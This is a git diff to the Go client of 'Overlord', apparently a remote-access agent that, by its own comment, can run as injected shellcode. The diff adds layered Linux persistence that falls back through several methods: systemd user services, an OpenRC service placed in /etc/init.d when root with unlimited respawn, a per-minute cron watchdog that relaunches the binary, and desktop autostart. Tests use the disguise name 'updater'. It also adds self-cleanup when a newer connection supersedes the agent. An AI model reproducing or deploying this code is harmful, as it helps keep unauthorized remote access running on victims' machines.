diff --git a/Overlord-Client/cmd/agent/main_test.go b/Overlord-Client/cmd/agent/main_test.go
index bea6ba7..4fab96c 100644
--- a/Overlord-Client/cmd/agent/main_test.go
+++ b/Overlord-Client/cmd/agent/main_test.go
@@ -5,6 +5,8 @@ import (
 	"time"
 
 	rt "overlord-client/cmd/agent/runtime"
+
+	"nhooyr.io/websocket"
 )
 
 func TestMinDuration(t *testing.T) {
@@ -15,3 +17,15 @@ func TestMinDuration(t *testing.T) {
 		t.Fatalf("expected shorter duration returned, got %s", got)
 	}
 }
+
+func TestIsSupersededError(t *testing.T) {
+	if !isSupersededError(&websocket.CloseError{Code: supersededCloseCode, Reason: "superseded"}) {
+		t.Fatal("expected close code 4004 to be treated as superseded")
+	}
+	if !isSupersededError(&websocket.CloseError{Code: websocket.StatusNormalClosure, Reason: "superseded"}) {
+		t.Fatal("expected superseded reason to be treated as superseded")
+	}
+	if isSupersededError(&websocket.CloseError{Code: websocket.StatusNormalClosure, Reason: "bye"}) {
+		t.Fatal("normal closure should not be treated as superseded")
+	}
+}
diff --git a/Overlord-Client/cmd/agent/persistence/persistence.go b/Overlord-Client/cmd/agent/persistence/persistence.go
index 2684e69..3a89f03 100644
--- a/Overlord-Client/cmd/agent/persistence/persistence.go
+++ b/Overlord-Client/cmd/agent/persistence/persistence.go
@@ -42,6 +42,10 @@ func Remove() error {
 	return uninstall()
 }
 
+func RemoveCurrentInstall(currentExe string) error {
+	return removeCurrentInstall(currentExe)
+}
+
 // SetupFromBytes writes data to the platform persistence target path and
 // registers it — used when the agent is running as injected shellcode and
 // selfDropBinary contains the normal (non-shellcode) agent PE/ELF.
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_darwin.go b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go
index e5ca2f6..439d6d2 100644
--- a/Overlord-Client/cmd/agent/persistence/persistence_darwin.go
+++ b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go
@@ -243,3 +243,34 @@ func uninstall() error {
 
 	return nil
 }
+
+func removeCurrentInstall(currentExe string) error {
+	currentExe = filepath.Clean(strings.TrimSpace(currentExe))
+	if currentExe == "" {
+		return nil
+	}
+
+	targetPath, err := getTargetPath()
+	if err == nil && filepath.Clean(targetPath) == currentExe {
+		return nil
+	}
+
+	plistPath, err := getPlistPath()
+	if err != nil {
+		return nil
+	}
+	if startupFileReferences(plistPath, currentExe) {
+		if err := os.Remove(plistPath); err != nil && !os.IsNotExist(err) {
+			return fmt.Errorf("failed to remove current plist file: %w", err)
+		}
+	}
+	return nil
+}
+
+func startupFileReferences(path string, exePath string) bool {
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return false
+	}
+	return strings.Contains(string(data), "<string>"+exePath+"</string>")
+}
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_default.go b/Overlord-Client/cmd/agent/persistence/persistence_default.go
index e1e11b5..0f9f65f 100644
--- a/Overlord-Client/cmd/agent/persistence/persistence_default.go
+++ b/Overlord-Client/cmd/agent/persistence/persistence_default.go
@@ -19,3 +19,7 @@ func getTargetPath() (string, error) {
 func uninstall() error {
 	return nil
 }
+
+func removeCurrentInstall(_ string) error {
+	return nil
+}
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_iostarget.go b/Overlord-Client/cmd/agent/persistence/persistence_iostarget.go
index 84db71a..5e723aa 100644
--- a/Overlord-Client/cmd/agent/persistence/persistence_iostarget.go
+++ b/Overlord-Client/cmd/agent/persistence/persistence_iostarget.go
@@ -19,3 +19,7 @@ func getTargetPath() (string, error) {
 func uninstall() error {
 	return nil
 }
+
+func removeCurrentInstall(_ string) error {
+	return nil
+}
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_linux.go b/Overlord-Client/cmd/agent/persistence/persistence_linux.go
index c229a89..d545eed 100644
--- a/Overlord-Client/cmd/agent/persistence/persistence_linux.go
+++ b/Overlord-Client/cmd/agent/persistence/persistence_linux.go
@@ -7,11 +7,34 @@ import (
 	"fmt"
 	"io"
 	"os"
+	"os/exec"
 	"os/user"
 	"path/filepath"
+	"strings"
 	"text/template"
 )
 
+var activateLinuxPersistence = true
+
+var runLinuxCommand = func(name string, args ...string) ([]byte, error) {
+	return exec.Command(name, args...).CombinedOutput()
+}
+
+var runLinuxCommandInput = func(input []byte, name string, args ...string) ([]byte, error) {
+	cmd := exec.Command(name, args...)
+	stdin, err := cmd.StdinPipe()
+	if err != nil {
+		return nil, err
+	}
+	go func() {
+		defer stdin.Close()
+		_, _ = stdin.Write(input)
+	}()
+	return cmd.CombinedOutput()
+}
+
+var currentEUID = os.Geteuid
+
 var currentUserHomeDir = func() (string, error) {
 	usr, err := user.Current()
 	if err != nil {
@@ -46,6 +69,15 @@ NoDisplay=false
 X-GNOME-Autostart-enabled=true
 `
 
+const openRCScript = `#!/sbin/openrc-run
+description="Overlord Agent"
+command={{.ExePath}}
+command_background=true
+pidfile="${XDG_RUNTIME_DIR:-/tmp}/{{.ServiceName}}.pid"
+respawn_delay=10
+respawn_max=0
+`
+
 func binaryName() string {
 	if DefaultStartupName != "" {
 		return DefaultStartupName
@@ -69,6 +101,18 @@ func getAutostartPath() (string, error) {
 	return filepath.Join(homeDir, ".config", "autostart", binaryName()+".desktop"), nil
 }
 
+func getOpenRCPath() (string, error) {
+	name := openRCServiceName()
+	if currentEUID() == 0 {
+		return filepath.Join(string(filepath.Separator), "etc", "init.d", name), nil
+	}
+	homeDir, err := currentUserHomeDir()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(homeDir, ".config", "openrc", "init.d", name), nil
+}
+
 func getTargetPath() (string, error) {
 	homeDir, err := currentUserHomeDir()
 	if err != nil {
@@ -93,11 +137,7 @@ func install(exePath string) error {
 		return err
 	}
 
-	if err := installSystemd(targetPath); err == nil {
-		return nil
-	}
-
-	return installAutostart(targetPath)
+	return installLinuxStartup(targetPath)
 }
 
 func replaceExecutable(exePath, targetPath string) error {
@@ -159,10 +199,10 @@ func installSystemd(exePath string) error {
 	if err != nil {
 		return fmt.Errorf("failed to create service file: %w", err)
 	}
-	defer file.Close()
 
 	tmpl, err := template.New("service").Parse(systemdService)
 	if err != nil {
+		_ = file.Close()
 		return fmt.Errorf("failed to parse template: %w", err)
 	}
 
@@ -173,17 +213,41 @@ func installSystemd(exePath string) error {
 	}
 
 	if err := tmpl.Execute(file, data); err != nil {
+		_ = file.Close()
 		return fmt.Errorf("failed to write service file: %w", err)
 	}
+	if err := file.Close(); err != nil {
+		return fmt.Errorf("failed to close service file: %w", err)
+	}
+
+	if activateLinuxPersistence {
+		if err := activateSystemdUser(servicePath); err != nil {
+			return fmt.Errorf("failed to activate systemd user service: %w", err)
+		}
+	}
 
 	return nil
 }
 
 func configure(exePath string) error {
-	if err := installSystemd(exePath); err == nil {
-		return nil
+	return installLinuxStartup(exePath)
+}
+
+func installLinuxStartup(exePath string) error {
+	var firstErr error
+	for _, fn := range []func(string) error{
+		installSystemd,
+		installOpenRC,
+		installCronFallbackIfActive,
+		installAutostart,
+	} {
+		if err := fn(exePath); err == nil {
+			return nil
+		} else if firstErr == nil {
+			firstErr = err
+		}
 	}
-	return installAutostart(exePath)
+	return firstErr
 }
 
 func installAutostart(exePath string) error {
@@ -221,6 +285,56 @@ func installAutostart(exePath string) error {
 	return nil
 }
 
+func installOpenRC(exePath string) error {
+	servicePath, err := getOpenRCPath()
+	if err != nil {
+		return err
+	}
+
+	dir := filepath.Dir(servicePath)
+	if err := os.MkdirAll(dir, 0755); err != nil {
+		return fmt.Errorf("failed to create OpenRC directory: %w", err)
+	}
+
+	file, err := os.Create(servicePath)
+	if err != nil {
+		return fmt.Errorf("failed to create OpenRC service: %w", err)
+	}
+
+	tmpl, err := template.New("openrc").Parse(openRCScript)
+	if err != nil {
+		_ = file.Close()
+		return fmt.Errorf("failed to parse OpenRC template: %w", err)
+	}
+
+	data := struct {
+		ExePath     string
+		ServiceName string
+	}{
+		ExePath:     shellQuote(exePath),
+		ServiceName: openRCServiceName(),
+	}
+
+	if err := tmpl.Execute(file, data); err != nil {
+		_ = file.Close()
+		return fmt.Errorf("failed to write OpenRC service: %w", err)
+	}
+	if err := file.Close(); err != nil {
+		return fmt.Errorf("failed to close OpenRC service: %w", err)
+	}
+	if err := os.Chmod(servicePath, 0755); err != nil {
+		return fmt.Errorf("failed to set OpenRC service permissions: %w", err)
+	}
+
+	if activateLinuxPersistence {
+		if err := activateOpenRC(servicePath); err != nil {
+			return fmt.Errorf("failed to activate OpenRC service: %w", err)
+		}
+	}
+
+	return nil
+}
+
 func uninstall() error {
 
 	var lastErr error
@@ -237,9 +351,249 @@ func uninstall() error {
 		}
 	}
 
+	if err := removeOpenRC(); err != nil {
+		lastErr = err
+	}
+
+	if err := removeCronFallback(); err != nil {
+		lastErr = err
+	}
+
 	if targetPath, err := getTargetPath(); err == nil {
 		os.Remove(targetPath)
 	}
 
 	return lastErr
 }
+
+func activateSystemdUser(servicePath string) error {
+	serviceName := filepath.Base(servicePath)
+	if out, err := runLinuxCommand("systemctl", "--user", "daemon-reload"); err != nil {
+		return fmt.Errorf("systemctl --user daemon-reload: %w: %s", err, strings.TrimSpace(string(out)))
+	}
+	if out, err := runLinuxCommand("systemctl", "--user", "enable", servicePath); err != nil {
+		return fmt.Errorf("systemctl --user enable: %w: %s", err, strings.TrimSpace(string(out)))
+	}
+	if out, err := runLinuxCommand("systemctl", "--user", "restart", serviceName); err != nil {
+		return fmt.Errorf("systemctl --user restart: %w: %s", err, strings.TrimSpace(string(out)))
+	}
+	return nil
+}
+
+func activateOpenRC(servicePath string) error {
+	serviceName := filepath.Base(servicePath)
+	if currentEUID() == 0 {
+		if out, err := runLinuxCommand("rc-update", "add", serviceName, "default"); err != nil {
+			return fmt.Errorf("rc-update add: %w: %s", err, strings.TrimSpace(string(out)))
+		}
+		if out, err := runLinuxCommand("rc-service", serviceName, "restart"); err != nil {
+			return fmt.Errorf("rc-service restart: %w: %s", err, strings.TrimSpace(string(out)))
+		}
+		return nil
+	}
+
+	if out, err := runLinuxCommand("rc-update", "--user", "add", serviceName, "default"); err != nil {
+		return fmt.Errorf("rc-update --user add: %w: %s", err, strings.TrimSpace(string(out)))
+	}
+	if out, err := runLinuxCommand("rc-service", "--user", serviceName, "restart"); err != nil {
+		return fmt.Errorf("rc-service --user restart: %w: %s", err, strings.TrimSpace(string(out)))
+	}
+	return nil
+}
+
+func removeOpenRC() error {
+	servicePath, err := getOpenRCPath()
+	if err != nil {
+		return nil
+	}
+
+	if _, statErr := os.Stat(servicePath); statErr != nil {
+		if os.IsNotExist(statErr) {
+			return nil
+		}
+		return fmt.Errorf("failed to stat OpenRC service: %w", statErr)
+	}
+
+	serviceName := filepath.Base(servicePath)
+	if activateLinuxPersistence {
+		if currentEUID() == 0 {
+			_, _ = runLinuxCommand("rc-service", serviceName, "stop")
+			_, _ = runLinuxCommand("rc-update", "del", serviceName, "default")
+		} else {
+			_, _ = runLinuxCommand("rc-service", "--user", serviceName, "stop")
+			_, _ = runLinuxCommand("rc-update", "--user", "del", serviceName, "default")
+		}
+	}
+
+	if err := os.Remove(servicePath); err != nil && !os.IsNotExist(err) {
+		return fmt.Errorf("failed to remove OpenRC service: %w", err)
+	}
+	return nil
+}
+
+func installCronFallbackIfActive(exePath string) error {
+	if !activateLinuxPersistence {
+		return fmt.Errorf("cron fallback activation disabled")
+	}
+	return installCronFallback(exePath)
+}
+
+func cronMarker() string {
+	return "# overlord-agent:" + binaryName()
+}
+
+func cronCommand(exePath string) string {
+	quotedExe := shellQuote(exePath)
+	return fmt.Sprintf("* * * * * pgrep -u \"$USER\" -fx %s >/dev/null 2>&1 || %s >/dev/null 2>&1 &", quotedExe, quotedExe)
+}
+
+func installCronFallback(exePath string) error {
+	existing, err := currentCrontab()
+	if err != nil {
+		return err
+	}
+	next := withoutCronFallback(existing)
+	if strings.TrimSpace(next) != "" && !strings.HasSuffix(next, "\n") {
+		next += "\n"
+	}
+	next += cronMarker() + "\n" + cronCommand(exePath) + "\n"
+	if out, err := runLinuxCommandInput([]byte(next), "crontab", "-"); err != nil {
+		return fmt.Errorf("crontab install: %w: %s", err, strings.TrimSpace(string(out)))
+	}
+	return nil
+}
+
+func removeCronFallback() error {
+	existing, err := currentCrontab()
+	if err != nil {
+		return err
+	}
+	next := withoutCronFallback(existing)
+	if next == existing {
+		return nil
+	}
+	if out, err := runLinuxCommandInput([]byte(next), "crontab", "-"); err != nil {
+		return fmt.Errorf("failed to remove cron fallback: %w: %s", err, strings.TrimSpace(string(out)))
+	}
+	return nil
+}
+
+func currentCrontab() (string, error) {
+	out, err := runLinuxCommand("crontab", "-l")
+	if err != nil {
+		text := strings.ToLower(string(out))
+		if strings.Contains(text, "no crontab") || strings.Contains(text, "no crontab for") {
+			return "", nil
+		}
+		return "", fmt.Errorf("crontab -l: %w: %s", err, strings.TrimSpace(string(out)))
+	}
+	return string(out), nil
+}
+
+func withoutCronFallback(crontab string) string {
+	lines := strings.Split(crontab, "\n")
+	out := make([]string, 0, len(lines))
+	skipNext := false
+	removed := false
+	for _, line := range lines {
+		if skipNext {
+			skipNext = false
+			removed = true
+			continue
+		}
+		if strings.TrimSpace(line) == cronMarker() {
+			skipNext = true
+			removed = true
+			continue
+		}
+		out = append(out, line)
+	}
+	if !removed {
+		return crontab
+	}
+	return strings.TrimRight(strings.Join(out, "\n"), "\n")
+}
+
+func shellQuote(value string) string {
+	return "'" + strings.ReplaceAll(value, "'", "'\"'\"'") + "'"
+}
+
+func openRCServiceName() string {
+	raw := strings.TrimSpace(binaryName())
+	var builder strings.Builder
+	for _, r := range raw {
+		if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
+			builder.WriteRune(r)
+		} else {
+			builder.WriteByte('_')
+		}
+	}
+	name := strings.Trim(builder.String(), "._-")
+	if name == "" {
+		return "agent"
+	}
+	return name
+}
+
+func removeCurrentInstall(currentExe string) error {
+	currentExe = filepath.Clean(strings.TrimSpace(currentExe))
+	if currentExe == "" || !currentProcessOwnsPath(currentExe) {
+		return nil
+	}
+
+	var lastErr error
+	if servicePath, err := getSystemdPath(); err == nil && startupFileReferences(servicePath, "ExecStart=", currentExe) {
+		if err := os.Remove(servicePath); err != nil && !os.IsNotExist(err) {
+			lastErr = fmt.Errorf("failed to remove current systemd service: %w", err)
+		}
+	}
+	if autostartPath, err := getAutostartPath(); err == nil && startupFileReferences(autostartPath, "Exec=", currentExe) {
+		if err := os.Remove(autostartPath); err != nil && !os.IsNotExist(err) {
+			lastErr = fmt.Errorf("failed to remove current autostart entry: %w", err)
+		}
+	}
+	if openRCPath, err := getOpenRCPath(); err == nil && startupFileContainsExecutable(openRCPath, currentExe) {
+		if err := os.Remove(openRCPath); err != nil && !os.IsNotExist(err) {
+			lastErr = fmt.Errorf("failed to remove current OpenRC service: %w", err)
+		}
+	}
+	if targetPath, err := getTargetPath(); err == nil && filepath.Clean(targetPath) == currentExe {
+		if err := os.Remove(targetPath); err != nil && !os.IsNotExist(err) {
+			lastErr = fmt.Errorf("failed to remove current executable: %w", err)
+		}
+	}
+	return lastErr
+}
+
+func startupFileReferences(path string, prefix string, exePath string) bool {
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return false
+	}
+	for _, line := range strings.Split(string(data), "\n") {
+		if strings.TrimSpace(line) == prefix+exePath {
+			return true
+		}
+	}
+	return false
+}
+
+func startupFileContainsExecutable(path string, exePath string) bool {
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return false
+	}
+	return strings.Contains(string(data), shellQuote(exePath)) || strings.Contains(string(data), exePath)
+}
+
+func currentProcessOwnsPath(path string) bool {
+	procInfo, err := os.Stat("/proc/self/exe")
+	if err != nil {
+		return false
+	}
+	pathInfo, err := os.Stat(path)
+	if err != nil {
+		return false
+	}
+	return os.SameFile(procInfo, pathInfo)
+}
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_linux_test.go b/Overlord-Client/cmd/agent/persistence/persistence_linux_test.go
index 24b0073..278e3b6 100644
--- a/Overlord-Client/cmd/agent/persistence/persistence_linux_test.go
+++ b/Overlord-Client/cmd/agent/persistence/persistence_linux_test.go
@@ -16,17 +16,114 @@ func withLinuxTempHome(t *testing.T) string {
 	home := t.TempDir()
 	origHome := currentUserHomeDir
 	origStartupName := DefaultStartupName
+	origActivate := activateLinuxPersistence
+	origEUID := currentEUID
 	currentUserHomeDir = func() (string, error) { return home, nil }
 	DefaultStartupName = ""
+	activateLinuxPersistence = false
+	currentEUID = func() int { return 1000 }
 
 	t.Cleanup(func() {
 		currentUserHomeDir = origHome
 		DefaultStartupName = origStartupName
+		activateLinuxPersistence = origActivate
+		currentEUID = origEUID
 	})
 
 	return home
 }
 
+func TestLinuxCronFallbackReplacesExistingMarkedEntry(t *testing.T) {
+	_ = withLinuxTempHome(t)
+	DefaultStartupName = "updater"
+
+	existing := strings.Join([]string{
+		"SHELL=/bin/sh",
+		cronMarker(),
+		"* * * * * /old",
+		"0 0 * * * /keep",
+		"",
+	}, "\n")
+
+	got := withoutCronFallback(existing)
+	if strings.Contains(got, "/old") || strings.Contains(got, cronMarker()) {
+		t.Fatalf("withoutCronFallback kept marked entry:\n%s", got)
+	}
+	if !strings.Contains(got, "SHELL=/bin/sh") || !strings.Contains(got, "0 0 * * * /keep") {
+		t.Fatalf("withoutCronFallback removed unrelated crontab lines:\n%s", got)
+	}
+}
+
+func TestLinuxCronCommandQuotesExecutablePath(t *testing.T) {
+	_ = withLinuxTempHome(t)
+
+	cmd := cronCommand("/tmp/over lord/agent's bin")
+	if !strings.Contains(cmd, "pgrep -u \"$USER\" -fx '/tmp/over lord/agent'\"'\"'s bin'") {
+		t.Fatalf("cron command did not shell-quote pgrep path correctly:\n%s", cmd)
+	}
+	if !strings.Contains(cmd, "|| '/tmp/over lord/agent'\"'\"'s bin'") {
+		t.Fatalf("cron command did not shell-quote exec path correctly:\n%s", cmd)
+	}
+}
+
+func TestLinuxInstallOpenRCCreatesUserService(t *testing.T) {
+	home := withLinuxTempHome(t)
+	DefaultStartupName = "updater"
+	exePath := filepath.Join(home, "bin", "existing agent")
+
+	if err := installOpenRC(exePath); err != nil {
+		t.Fatalf("installOpenRC() error: %v", err)
+	}
+
+	servicePath := filepath.Join(home, ".config", "openrc", "init.d", "updater")
+	serviceBytes, err := os.ReadFile(servicePath)
+	if err != nil {
+		t.Fatalf("read OpenRC service: %v", err)
+	}
+	service := string(serviceBytes)
+	for _, want := range []string{
+		"#!/sbin/openrc-run",
+		"description=\"Overlord Agent\"",
+		"command='" + exePath + "'",
+		"command_background=true",
+		"respawn_delay=10",
+		"respawn_max=0",
+	} {
+		if !strings.Contains(service, want) {
+			t.Fatalf("OpenRC service missing %q:\n%s", want, service)
+		}
+	}
+	if info, err := os.Stat(servicePath); err != nil {
+		t.Fatalf("stat OpenRC service: %v", err)
+	} else if info.Mode().Perm() != 0755 {
+		t.Fatalf("OpenRC service mode = %o, want 0755", info.Mode().Perm())
+	}
+}
+
+func TestLinuxOpenRCPathUsesSystemInitWhenRoot(t *testing.T) {
+	_ = withLinuxTempHome(t)
+	currentEUID = func() int { return 0 }
+	DefaultStartupName = "updater"
+
+	got, err := getOpenRCPath()
+	if err != nil {
+		t.Fatalf("getOpenRCPath() error: %v", err)
+	}
+	want := filepath.Join(string(filepath.Separator), "etc", "init.d", "updater")
+	if got != want {
+		t.Fatalf("getOpenRCPath() = %q, want %q", got, want)
+	}
+}
+
+func TestLinuxOpenRCServiceNameSanitizesCustomName(t *testing.T) {
+	_ = withLinuxTempHome(t)
+	DefaultStartupName = "../bad name"
+
+	if got := openRCServiceName(); got != "bad_name" {
+		t.Fatalf("openRCServiceName() = %q, want %q", got, "bad_name")
+	}
+}
+
 func writeLinuxSourceExecutable(t *testing.T) string {
 	t.Helper()
 
@@ -155,7 +252,8 @@ func TestLinuxUninstallRemovesStartupFilesAndExecutable(t *testing.T) {
 	target := filepath.Join(home, ".local", "share", "overlord", "agent")
 	servicePath := filepath.Join(home, ".config", "systemd", "user", "agent.service")
 	desktopPath := filepath.Join(home, ".config", "autostart", "agent.desktop")
-	for _, path := range []string{target, servicePath, desktopPath} {
+	openRCPath := filepath.Join(home, ".config", "openrc", "init.d", "agent")
+	for _, path := range []string{target, servicePath, desktopPath, openRCPath} {
 		if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
 			t.Fatalf("mkdir %q: %v", filepath.Dir(path), err)
 		}
@@ -167,7 +265,7 @@ func TestLinuxUninstallRemovesStartupFilesAndExecutable(t *testing.T) {
 	if err := Remove(); err != nil {
 		t.Fatalf("Remove() error: %v", err)
 	}
-	for _, path := range []string{target, servicePath, desktopPath} {
+	for _, path := range []string{target, servicePath, desktopPath, openRCPath} {
 		if _, err := os.Stat(path); !os.IsNotExist(err) {
 			t.Fatalf("expected %q to be removed, stat err=%v", path, err)
 		}
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows.go b/Overlord-Client/cmd/agent/persistence/persistence_windows.go
index bea10a4..d92330a 100644
--- a/Overlord-Client/cmd/agent/persistence/persistence_windows.go
+++ b/Overlord-Client/cmd/agent/persistence/persistence_windows.go
@@ -279,6 +279,10 @@ func uninstall() error {
 	return nil
 }
 
+func removeCurrentInstall(_ string) error {
+	return nil
+}
+
 func cleanupPrefixedExecutables(dir string) error {
 	entries, err := os.ReadDir(dir)
 	if err != nil {
diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go
index b6679fd..95eed82 100644
--- a/Overlord-Client/cmd/agent/session.go
+++ b/Overlord-Client/cmd/agent/session.go
@@ -124,6 +124,12 @@ func runClient(cfg config.Config) {
 
 		var sessionErr error
 		if err := runSession(ctx, cancel, conn, sessionCfg); err != nil {
+			if isSupersededError(err) {
+				log.Printf("session superseded by a newer connection; exiting")
+				handleSuperseded(cfg)
+				exitProcess(0)
+				return
+			}
 			sessionErr = err
 			log.Printf("session ended: %v (retrying in %s)", err, backoff)
 			lastDisconnect = time.Now()
@@ -418,7 +424,7 @@ func shouldRetryImmediately(err error) bool {
 	}
 	var closeErr *websocket.CloseError
 	if errors.As(err, &closeErr) {
-		if closeErr.Code == 4001 || closeErr.Code == 4002 || closeErr.Code == 4003 {
+		if closeErr.Code == 4001 || closeErr.Code == 4002 || closeErr.Code == 4003 || closeErr.Code == supersededCloseCode {
 			return false
 		}
 		if closeErr.Code == websocket.StatusNormalClosure || closeErr.Code == websocket.StatusGoingAway {
diff --git a/Overlord-Client/cmd/agent/supersede.go b/Overlord-Client/cmd/agent/supersede.go
new file mode 100644
index 0000000..3f5a1c8
--- /dev/null
+++ b/Overlord-Client/cmd/agent/supersede.go
@@ -0,0 +1,57 @@
+package main
+
+import (
+	"errors"
+	"log"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"overlord-client/cmd/agent/config"
+	"overlord-client/cmd/agent/persistence"
+
+	"nhooyr.io/websocket"
+)
+
+const supersededCloseCode = 4004
+
+var exitProcess = os.Exit
+
+func isSupersededError(err error) bool {
+	if err == nil {
+		return false
+	}
+	var closeErr *websocket.CloseError
+	if !errors.As(err, &closeErr) {
+		return false
+	}
+	return closeErr.Code == supersededCloseCode || strings.EqualFold(strings.TrimSpace(closeErr.Reason), "superseded")
+}
+
+func handleSuperseded(cfg config.Config) {
+	if !cfg.EnablePersistence || !builtWithPersistenceDefault() {
+		return
+	}
+
+	currentExe, err := os.Executable()
+	if err != nil {
+		log.Printf("superseded: failed to resolve executable for cleanup: %v", err)
+		return
+	}
+	if realPath, err := filepath.EvalSymlinks(currentExe); err == nil {
+		currentExe = realPath
+	}
+	currentExe, err = filepath.Abs(currentExe)
+	if err != nil {
+		log.Printf("superseded: failed to resolve absolute executable path for cleanup: %v", err)
+		return
+	}
+
+	if err := persistence.RemoveCurrentInstall(currentExe); err != nil {
+		log.Printf("superseded: current-install cleanup warning: %v", err)
+	}
+}
+
+func builtWithPersistenceDefault() bool {
+	return strings.EqualFold(strings.TrimSpace(config.DefaultPersistence), "true")
+}